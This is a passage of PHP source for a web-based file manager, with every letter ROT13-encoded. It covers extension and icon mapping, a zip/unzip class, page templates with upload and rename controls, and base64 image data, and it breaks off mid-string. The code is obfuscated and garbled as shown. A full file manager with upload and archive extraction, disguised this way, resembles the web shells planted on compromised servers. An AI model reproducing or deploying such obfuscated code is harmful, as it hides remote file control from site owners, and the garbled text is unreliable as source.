$vzt = 'vpba-svyr_pbqr';
oernx;
pnfr 'jni': pnfr 'zc3': pnfr 'zc2':
pnfr 'z4n': pnfr 'nnp': pnfr 'btt':
pnfr 'btn': pnfr 'jzn': pnfr 'zxn':
pnfr 'synp': pnfr 'np3': pnfr 'gqf':
$vzt = 'vpba-svyr_zhfvp';
oernx;
pnfr 'z3h': pnfr 'z3h8': pnfr 'cyf':
pnfr 'phr':
$vzt = 'vpba-svyr_cynlyvfg';
oernx;
pnfr 'niv': pnfr 'zct': pnfr 'zcrt':
pnfr 'zc4': pnfr 'z4i': pnfr 'syi':
pnfr 's4i': pnfr 'btz': pnfr 'bti':
pnfr 'zbi': pnfr 'zxi': pnfr '3tc':
pnfr 'nfs': pnfr 'jzi':
$vzt = 'vpba-svyr_svyz';
oernx;
pnfr 'rzy': pnfr 'zft':
$vzt = 'vpba-svyr_bhgybbx';
oernx;
pnfr 'kyf': pnfr 'kyfk':
$vzt = 'vpba-svyr_rkpry';
oernx;
pnfr 'pfi':
$vzt = 'vpba-svyr_pfi';
oernx;
pnfr 'qbp': pnfr 'qbpk':
$vzt = 'vpba-svyr_jbeq';
oernx;
pnfr 'ccg': pnfr 'ccgk':
$vzt = 'vpba-svyr_cbjrecbvag';
oernx;
pnfr 'ggs': pnfr 'ggp': pnfr 'bgs':
pnfr 'jbss':pnfr 'jbss2': pnfr 'rbg': pnfr
'sba':
$vzt = 'vpba-svyr_sbag';
oernx;
pnfr 'cqs':
$vzt = 'vpba-svyr_cqs';
oernx;
pnfr 'cfq':
$vzt = 'vpba-svyr_cubgbfubc';
oernx;
pnfr 'nv': pnfr 'rcf':
$vzt = 'vpba-svyr_vyyhfgengbe';
oernx;
pnfr 'syn':
$vzt = 'vpba-svyr_synfu';
oernx;
pnfr 'fjs':
$vzt = 'vpba-svyr_fjs';
oernx;
pnfr 'rkr': pnfr 'zfv':
$vzt = 'vpba-svyr_nccyvpngvba';
oernx;
pnfr 'ong':
$vzt = 'vpba-svyr_grezvany';
oernx;
qrsnhyg:
$vzt = 'vpba-qbphzrag';
}
erghea $vzt;
}
/**
* Trg vzntr svyrf rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_vzntr_rkgf()
{
erghea neenl('vpb', 'tvs', 'wct',
'wcrt', 'wcp', 'wc2', 'wck',
'koz', 'jozc', 'cat', 'ozc',
'gvs', 'gvss', 'cfq');
}
/**
* Trg ivqrb svyrf rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_ivqrb_rkgf()
{
erghea neenl('jroz', 'zc4', 'z4i',
'btz', 'bti', 'zbi');
}
/**
* Trg nhqvb svyrf rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_nhqvb_rkgf()
{
erghea neenl('jni', 'zc3', 'btt',
'z4n');
}
/**
* Trg grkg svyr rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_grkg_rkgf()
{
erghea neenl(
'gkg', 'pff', 'vav',
'pbas', 'ybt', 'ugnpprff',
'cnffjq', 'sgcdhbgn', 'fdy', 'wf',
'wfba', 'fu', 'pbasvt',
'cuc', 'cuc4', 'cuc5',
'cucf', 'cugzy', 'ugz', 'ugzy',
'fugzy', 'kugzy', 'kzy', 'kfy',
'z3h', 'z3h8', 'cyf', 'phr',
'rzy', 'zft', 'pfi', 'ong',
'gjvt', 'gcy', 'zq', 'tvgvtaber',
'yrff', 'fnff', 'fpff', 'p',
'pcc', 'pf', 'cl',
'znc', 'ybpx', 'qgq',
'fit',
);
}
/**
* Trg zvzr glcrf bs grkg svyrf
* @erghea neenl
*/
shapgvba sz_trg_grkg_zvzrf()
{
erghea neenl(
'nccyvpngvba/kzy',
'nccyvpngvba/wninfpevcg',
'nccyvpngvba/k-wninfpevcg',
'vzntr/fit+kzy',
'zrffntr/esp822',
);
}
/**
* Trg svyr anzrf bs grkg svyrf j/b rkgrafvbaf
* @erghea neenl
*/
shapgvba sz_trg_grkg_anzrf()
{
erghea neenl(
'yvprafr',
'ernqzr',
'nhgubef',
'pbagevohgbef',
'punatrybt',
);
}
/**
* Pynff gb jbex jvgu mvc svyrf (hfvat MvcNepuvir)
*/
pynff SZ_Mvccre
{
cevingr $mvc;
choyvp shapgvba __pbafgehpg()
{
$guvf->mvc = arj MvcNepuvir();
}
/**
* Perngr nepuvir jvgu anzr $svyranzr naq svyrf $svyrf (ERYNGVIR
CNGUF!)
* @cnenz fgevat $svyranzr
* @cnenz neenl|fgevat $svyrf
* @erghea obby
*/
choyvp shapgvba perngr($svyranzr, $svyrf)
{
$erf = $guvf->mvc->bcra($svyranzr, MvcNepuvir::PERNGR);
vs ($erf !== gehr) {
erghea snyfr;
}
vs (vf_neenl($svyrf)) {
sbernpu ($svyrf nf $s) {
vs (!$guvf->nqqSvyrBeQve($s)) {
$guvf->mvc->pybfr();
erghea snyfr;
}
}
$guvf->mvc->pybfr();
erghea gehr;
} ryfr {
vs ($guvf->nqqSvyrBeQve($svyrf)) {
$guvf->mvc->pybfr();
erghea gehr;
}
erghea snyfr;
}
}
/**
* Rkgenpg nepuvir $svyranzr gb sbyqre $cngu (ERYNGVIR BE NOFBYHGR
CNGUF)
* @cnenz fgevat $svyranzr
* @cnenz fgevat $cngu
* @erghea obby
*/
choyvp shapgvba hamvc($svyranzr, $cngu)
{
$erf = $guvf->mvc->bcra($svyranzr);
vs ($erf !== gehr) {
erghea snyfr;
}
vs ($guvf->mvc->rkgenpgGb($cngu)) {
$guvf->mvc->pybfr();
erghea gehr;
}
erghea snyfr;
}
/**
* Nqq svyr/sbyqre gb nepuvir
* @cnenz fgevat $svyranzr
* @erghea obby
*/
cevingr shapgvba nqqSvyrBeQve($svyranzr)
{
vs (vf_svyr($svyranzr)) {
erghea $guvf->mvc->nqqSvyr($svyranzr);
} ryfrvs (vf_qve($svyranzr)) {
erghea $guvf->nqqQve($svyranzr);
}
erghea snyfr;
}
/**
* Nqq sbyqre erphefviryl
* @cnenz fgevat $cngu
* @erghea obby
*/
cevingr shapgvba nqqQve($cngu)
{
vs (!$guvf->mvc->nqqRzcglQve($cngu)) {
erghea snyfr;
}
$bowrpgf = fpnaqve($cngu);
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (vf_qve($cngu . '/' . $svyr)) {
vs (!$guvf->nqqQve($cngu . '/' .
$svyr)) {
erghea snyfr;
}
} ryfrvs (vf_svyr($cngu . '/' . $svyr)) {
vs (!$guvf->mvc->nqqSvyr($cngu .
'/' . $svyr)) {
erghea snyfr;
}
}
}
}
erghea gehr;
}
erghea snyfr;
}
}
//--- grzcyngrf shapgvbaf
/**
* Fubj ani oybpx
* @cnenz fgevat $cngu
*/
shapgvba sz_fubj_ani_cngu($cngu)
{
?>
<qvi pynff="cngu">
<qvi pynff="sybng-evtug">
<n gvgyr="Hcybnq svyrf" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;hcybnq"><v
pynff="vpba-hcybnq"></v></n>
<n gvgyr="Arj sbyqre" uers="#"
bapyvpx="arjsbyqre('<?cuc rpub sz_rap(SZ_CNGU)
?>');erghea snyfr;"><v
pynff="vpba-sbyqre_nqq"></v></n>
<?cuc vs (SZ_HFR_NHGU): ?><n gvgyr="Ybtbhg"
uers="?ybtbhg=1"><v
pynff="vpba-ybtbhg"></v></n><?cuc raqvs; ?>
</qvi>
<?cuc
$cngu = sz_pyrna_cngu($cngu);
$ebbg_hey = "<n uers='?c='><v
pynff='vpba-ubzr' gvgyr='" . SZ_EBBG_CNGU .
"'></v></n>";
$frc = '<v
pynff="vpba-frcnengbe"></v>';
vs ($cngu != '') {
$rkcybqrq = rkcybqr('/', $cngu);
$pbhag = pbhag($rkcybqrq);
$neenl = neenl();
$cnerag = '';
sbe ($v = 0; $v < $pbhag; $v++) {
$cnerag = gevz($cnerag . '/' . $rkcybqrq[$v],
'/');
$cnerag_rap = heyrapbqr($cnerag);
$neenl[] = "<n
uers='?c={$cnerag_rap}'>" .
sz_rap(sz_pbaireg_jva($rkcybqrq[$v])) . "</n>";
}
$ebbg_hey .= $frc . vzcybqr($frc, $neenl);
}
rpub '<qvi pynff="oernx-jbeq">' .
$ebbg_hey . '</qvi>';
?>
</qvi>
<?cuc
}
/**
* Fubj zrffntr sebz frffvba
*/
shapgvba sz_fubj_zrffntr()
{
vs (vffrg($_FRFFVBA['zrffntr'])) {
$pynff = vffrg($_FRFFVBA['fgnghf']) ?
$_FRFFVBA['fgnghf'] : 'bx';
rpub '<c pynff="zrffntr ' . $pynff .
'">' . $_FRFFVBA['zrffntr'] .
'</c>';
hafrg($_FRFFVBA['zrffntr']);
hafrg($_FRFFVBA['fgnghf']);
}
}
/**
* Fubj cntr urnqre
*/
shapgvba sz_fubj_urnqre()
{
$fcevgrf_ire = '20160315';
urnqre("Pbagrag-Glcr: grkg/ugzy; punefrg=hgs-8");
urnqre("Rkcverf: Fng, 26 Why 1997 05:00:00 TZG");
urnqre("Pnpur-Pbageby: ab-fgber, ab-pnpur, zhfg-erinyvqngr,
cbfg-purpx=0, cer-purpx=0");
urnqre("Centzn: ab-pnpur");
?>
<!QBPGLCR ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8">
<gvgyr>CUC Svyr Znantre</gvgyr>
<fglyr>
ugzy,obql,qvi,fcna,c,cer,n,pbqr,rz,vzt,fznyy,fgebat,by,hy,yv,sbez,ynory,gnoyr,ge,gu,gq{znetva:0;cnqqvat:0;iregvpny-nyvta:onfryvar;bhgyvar:abar;sbag-fvmr:100%;onpxtebhaq:genafcnerag;obeqre:abar;grkg-qrpbengvba:abar}
ugzy{biresybj-l:fpebyy}obql{cnqqvat:0;sbag:13ck/16ck
Gnubzn,Nevny,fnaf-frevs;pbybe:#222;onpxtebhaq:#rsrsrs}
vachg,fryrpg,grkgnern,ohggba{sbag-fvmr:vaurevg;sbag-snzvyl:vaurevg}
n{pbybe:#296rn3;grkg-qrpbengvba:abar}n:ubire{pbybe:#o00}vzt{iregvpny-nyvta:zvqqyr;obeqre:abar}
n
vzt{obeqre:abar}fcna.tenl{pbybe:#777}fznyy{sbag-fvmr:11ck;pbybe:#999}c{znetva-obggbz:10ck}
hy{znetva-yrsg:2rz;znetva-obggbz:10ck}hy{yvfg-fglyr-glcr:abar;znetva-yrsg:0}hy
yv{cnqqvat:3ck 0}
gnoyr{obeqre-pbyyncfr:pbyyncfr;obeqre-fcnpvat:0;znetva-obggbz:10ck;jvqgu:100%}
gu,gq{cnqqvat:4ck 7ck;grkg-nyvta:yrsg;iregvpny-nyvta:gbc;obeqre:1ck fbyvq
#qqq;onpxtebhaq:#sss;juvgr-fcnpr:abjenc}
gu,gq.tenl{onpxtebhaq-pbybe:#rrr}gq.tenl fcna{pbybe:#222}
ge:ubire gq{onpxtebhaq-pbybe:#s5s5s5}ge:ubire
gq.tenl{onpxtebhaq-pbybe:#rrr}
pbqr,cer{qvfcynl:oybpx;znetva-obggbz:10ck;sbag:13ck/16ck
Pbafbynf,'Pbhevre Arj',Pbhevre,zbabfcnpr;obeqre:1ck qnfurq
#ppp;cnqqvat:5ck;biresybj:nhgb}
cer.jvgu-uywf{cnqqvat:0}
cer.jvgu-uywf pbqr{znetva:0;obeqre:0;biresybj:ivfvoyr}
pbqr.znkurvtug,cer.znkurvtug{znk-urvtug:512ck}vachg[glcr="purpxobk"]{znetva:0;cnqqvat:0}
#jenccre{znk-jvqgu:1000ck;zva-jvqgu:400ck;znetva:10ck nhgb}
.cngu{cnqqvat:4ck 7ck;obeqre:1ck fbyvq
#qqq;onpxtebhaq-pbybe:#sss;znetva-obggbz:10ck}
.evtug{grkg-nyvta:evtug}.pragre{grkg-nyvta:pragre}.sybng-evtug{sybng:evtug}
.zrffntr{cnqqvat:4ck 7ck;obeqre:1ck fbyvq #qqq;onpxtebhaq-pbybe:#sss}
.zrffntr.bx{obeqre-pbybe:terra;pbybe:terra}
.zrffntr.reebe{obeqre-pbybe:erq;pbybe:erq}
.zrffntr.nyreg{obeqre-pbybe:benatr;pbybe:benatr}
.oga{obeqre:0;onpxtebhaq:abar;cnqqvat:0;znetva:0;sbag-jrvtug:obyq;pbybe:#296rn3;phefbe:cbvagre}.oga:ubire{pbybe:#o00}
.cerivrj-vzt{znk-jvqgu:100%;onpxtebhaq:hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNVNNNPDxJt2NNNNXxyRDIE42zY5//8/Nmoj+CSweBWZQPFPHD3RNOMp4F0eXmfnFiGGNOOtNZlsPZfL4O9vNNNNNRySGxFhDzPP")
ercrng 0 0}
.cerivrj-ivqrb{cbfvgvba:eryngvir;znk-jvqgu:100%;urvtug:0;cnqqvat-obggbz:62.5%;znetva-obggbz:10ck}.cerivrj-ivqrb
ivqrb{cbfvgvba:nofbyhgr;jvqgu:100%;urvtug:100%;yrsg:0;gbc:0;onpxtebhaq:#000}
[pynff*="vpba-"]{qvfcynl:vayvar-oybpx;jvqgu:16ck;urvtug:16ck;onpxtebhaq:hey("<?cuc
rpub SZ_FRYS_HEY ?>?vzt=fcevgrf&nzc;g=<?cuc rpub $fcevgrf_ire
?>") ab-ercrng 0 0;iregvpny-nyvta:obggbz}
.vpba-qbphzrag{onpxtebhaq-cbfvgvba:-16ck
0}.vpba-sbyqre{onpxtebhaq-cbfvgvba:-32ck 0}
.vpba-sbyqre_nqq{onpxtebhaq-cbfvgvba:-48ck
0}.vpba-hcybnq{onpxtebhaq-cbfvgvba:-64ck 0}
.vpba-neebj_hc{onpxtebhaq-cbfvgvba:-80ck
0}.vpba-ubzr{onpxtebhaq-cbfvgvba:-96ck 0}
.vpba-frcnengbe{onpxtebhaq-cbfvgvba:-112ck
0}.vpba-pebff{onpxtebhaq-cbfvgvba:-128ck 0}
.vpba-pbcl{onpxtebhaq-cbfvgvba:-144ck
0}.vpba-nccyl{onpxtebhaq-cbfvgvba:-160ck 0}
.vpba-pnapry{onpxtebhaq-cbfvgvba:-176ck
0}.vpba-eranzr{onpxtebhaq-cbfvgvba:-192ck 0}
.vpba-purpxobk{onpxtebhaq-cbfvgvba:-208ck
0}.vpba-purpxobk_vaireg{onpxtebhaq-cbfvgvba:-224ck 0}
.vpba-purpxobk_hapurpx{onpxtebhaq-cbfvgvba:-240ck
0}.vpba-qbjaybnq{onpxtebhaq-cbfvgvba:-256ck 0}
.vpba-tbonpx{onpxtebhaq-cbfvgvba:-272ck
0}.vpba-sbyqre_bcra{onpxtebhaq-cbfvgvba:-288ck 0}
.vpba-svyr_nccyvpngvba{onpxtebhaq-cbfvgvba:0
-16ck}.vpba-svyr_pbqr{onpxtebhaq-cbfvgvba:-16ck -16ck}
.vpba-svyr_pfi{onpxtebhaq-cbfvgvba:-32ck
-16ck}.vpba-svyr_rkpry{onpxtebhaq-cbfvgvba:-48ck -16ck}
.vpba-svyr_svyz{onpxtebhaq-cbfvgvba:-64ck
-16ck}.vpba-svyr_synfu{onpxtebhaq-cbfvgvba:-80ck -16ck}
.vpba-svyr_sbag{onpxtebhaq-cbfvgvba:-96ck
-16ck}.vpba-svyr_ugzy{onpxtebhaq-cbfvgvba:-112ck -16ck}
.vpba-svyr_vyyhfgengbe{onpxtebhaq-cbfvgvba:-128ck
-16ck}.vpba-svyr_vzntr{onpxtebhaq-cbfvgvba:-144ck -16ck}
.vpba-svyr_zhfvp{onpxtebhaq-cbfvgvba:-160ck
-16ck}.vpba-svyr_bhgybbx{onpxtebhaq-cbfvgvba:-176ck -16ck}
.vpba-svyr_cqs{onpxtebhaq-cbfvgvba:-192ck
-16ck}.vpba-svyr_cubgbfubc{onpxtebhaq-cbfvgvba:-208ck -16ck}
.vpba-svyr_cuc{onpxtebhaq-cbfvgvba:-224ck
-16ck}.vpba-svyr_cynlyvfg{onpxtebhaq-cbfvgvba:-240ck -16ck}
.vpba-svyr_cbjrecbvag{onpxtebhaq-cbfvgvba:-256ck
-16ck}.vpba-svyr_fjs{onpxtebhaq-cbfvgvba:-272ck -16ck}
.vpba-svyr_grezvany{onpxtebhaq-cbfvgvba:-288ck
-16ck}.vpba-svyr_grkg{onpxtebhaq-cbfvgvba:-304ck -16ck}
.vpba-svyr_jbeq{onpxtebhaq-cbfvgvba:-320ck
-16ck}.vpba-svyr_mvc{onpxtebhaq-cbfvgvba:-336ck -16ck}
.vpba-ybtbhg{onpxtebhaq-cbfvgvba:-304ck
0}.vpba-punva{onpxtebhaq-cbfvgvba:-320ck 0}
.vpba-yvax_sbyqre{onpxtebhaq-cbfvgvba:-352ck
-16ck}.vpba-yvax_svyr{onpxtebhaq-cbfvgvba:-368ck -16ck}
.pbzcnpg-gnoyr{obeqre:0;jvqgu:nhgb}.pbzcnpg-gnoyr gq,.pbzcnpg-gnoyr
gu{jvqgu:100ck;obeqre:0;grkg-nyvta:pragre}.pbzcnpg-gnoyr ge:ubire
gq{onpxtebhaq-pbybe:#sss}
.svyranzr{znk-jvqgu:420ck;juvgr-fcnpr:abjenc;biresybj:uvqqra;grkg-biresybj:ryyvcfvf}
.oernx-jbeq{jbeq-jenc:oernx-jbeq}
</fglyr>
<yvax ery="vpba" uers="<?cuc rpub SZ_FRYS_HEY
?>?vzt=snivpba" glcr="vzntr/cat">
<yvax ery="fubegphg vpba" uers="<?cuc rpub SZ_FRYS_HEY
?>?vzt=snivpba" glcr="vzntr/cat">
<?cuc vs (vffrg($_TRG['ivrj']) && SZ_HFR_UVTUYVTUGWF):
?>
<yvax ery="fglyrfurrg"
uers="//pqawf.pybhqsyner.pbz/nwnk/yvof/uvtuyvtug.wf/9.2.0/fglyrf/<?cuc
rpub SZ_UVTUYVTUGWF_FGLYR ?>.zva.pff">
<?cuc raqvs; ?>
</urnq>
<obql>
<qvi vq="jenccre">
<?cuc
}
/**
* Fubj cntr sbbgre
*/
shapgvba sz_fubj_sbbgre()
{
?>
<c pynff="pragre"><fznyy><n
uers="uggcf://tvguho.pbz/nyrknage/svyrznantre"
gnetrg="_oynax">CUC Svyr
Znantre</n></fznyy></c>
</qvi>
<fpevcg>
shapgvba arjsbyqre(c){ine a=cebzcg('Arj sbyqre
anzr','sbyqre');vs(a!==ahyy&&a!==''){jvaqbj.ybpngvba.frnepu='c='+rapbqrHEVPbzcbarag(c)+'&arj='+rapbqrHEVPbzcbarag(a);}}
shapgvba eranzr(c,s){ine a=cebzcg('Arj
anzr',s);vs(a!==ahyy&&a!==''&&a!=s){jvaqbj.ybpngvba.frnepu='c='+rapbqrHEVPbzcbarag(c)+'&era='+rapbqrHEVPbzcbarag(s)+'&gb='+rapbqrHEVPbzcbarag(a);}}
shapgvba punatr_purpxobkrf(y,i){sbe(ine
v=y.yratgu-1;v>=0;v--){y[v].purpxrq=(glcrbs
i==='obbyrna')?i:!y[v].purpxrq;}}
shapgvba trg_purpxobkrf(){ine
v=qbphzrag.trgRyrzragfOlAnzr('svyr[]'),n=[];sbe(ine
w=v.yratgu-1;w>=0;w--){vs(v[w].glcr='purpxobk'){n.chfu(v[w]);}}erghea
n;}
shapgvba fryrpg_nyy(){ine y=trg_purpxobkrf();punatr_purpxobkrf(y,gehr);}
shapgvba hafryrpg_nyy(){ine y=trg_purpxobkrf();punatr_purpxobkrf(y,snyfr);}
shapgvba vaireg_nyy(){ine y=trg_purpxobkrf();punatr_purpxobkrf(y);}
shapgvba purpxobk_gbttyr(){ine
y=trg_purpxobkrf();y.chfu(guvf);punatr_purpxobkrf(y);}
</fpevcg>
<?cuc vs (vffrg($_TRG['ivrj']) && SZ_HFR_UVTUYVTUGWF):
?>
<fpevcg
fep="uggcf://pqawf.pybhqsyner.pbz/nwnk/yvof/uvtuyvtug.wf/9.2.0/uvtuyvtug.zva.wf"></fpevcg>
<fpevcg>uywf.vavgUvtuyvtugvatBaYbnq();</fpevcg>
<?cuc raqvs; ?>
</obql>
</ugzy>
<?cuc
}
/**
* Fubj vzntr
* @cnenz fgevat $vzt
*/
shapgvba sz_fubj_vzntr($vzt)
{
$zbqvsvrq_gvzr = tzqngr('Q, q Z L 00:00:00') . '
TZG';
$rkcverf_gvzr = tzqngr('Q, q Z L 00:00:00',
fgegbgvzr('+1 qnl')) . ' TZG';
$vzt = gevz($vzt);
$vzntrf = sz_trg_vzntrf();
$vzntr =
'vIOBEj0XTtbNNNNAFHuRHtNNNNRNNNNOPNLNNNNsSpFWNNNNRRyRDIE42zY4//8/N0PNNDNV/NY+26WAStNNNNOWEH5RexWttt==';
vs (vffrg($vzntrf[$vzt])) {
$vzntr = $vzntrf[$vzt];
}
$vzntr = onfr64_qrpbqr($vzntr);
vs (shapgvba_rkvfgf('zo_fgeyra')) {
$fvmr = zo_fgeyra($vzntr, '8ovg');
} ryfr {
$fvmr = fgeyra($vzntr);
}
vs (shapgvba_rkvfgf('urnqre_erzbir')) {
urnqre_erzbir('Pnpur-Pbageby');
urnqre_erzbir('Centzn');
} ryfr {
urnqre('Pnpur-Pbageby:');
urnqre('Centzn:');
}
urnqre('Ynfg-Zbqvsvrq: ' . $zbqvsvrq_gvzr, gehr, 200);
urnqre('Rkcverf: ' . $rkcverf_gvzr);
urnqre('Pbagrag-Yratgu: ' . $fvmr);
urnqre('Pbagrag-Glcr: vzntr/cat');
rpub $vzntr;
rkvg;
}
/**
* Trg onfr64-rapbqrq vzntrf
* @erghea neenl
*/
shapgvba sz_trg_vzntrf()
{
erghea neenl(
'snivpba' =>
'vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNLNNNNs8/9uNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOW
oJSaMIWyLJE5ppyyCNNNNMIWERSHrAdxx79Yj0NHk1+hvqGDvz4Jnkscay1OpUZE6hYxVS0pcLBV
s4XoBSpEjoTGp0UDFIDDKPdySVKtSxuVliJF870YnnCLU9PQl8iqso+srl930nFHZRiG6IUImj8k
eXHK3A3Uw/8Z+pM6TpBgOCy6XL5vNN7XWmsIJesouHXuNYMgD6zlQs1+K5afhmwYHzHBacn+i5e1
M4MQQsfYvjRE45kQRNGtBV6XagsQq091TvqmP8iM4iU1DD09+4ZFZNZJEERXCZuzfle6ibLzeao2
CXRvmqRnoHnrSPQXPPUNqI0jGIASmaZtcIdTyM2pvcmUTgXFMjPVMWtWjkO38XUG6Fwk21I75Wpa
YKzTNXGEcTIMHk2qNdDmFRdj9xdjhTdBAGhsCej37Q8yDSkPiwtCKVvkNAYRTsjhDnpZBP4xMm+d
TquWF550OwcEPqPoNWPZWExZNFRVt+4Okm4WjNjQFRhrNLQYVZ+DeBx6TUvEkwKFxWL8XHPiqKM6
xohiAk+zBpoA9gnTOycYNJs9aK8RTNQbPsdxXJI/ptNNNNOWEH5RexWttt==',
'fcevgrf' =>
'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
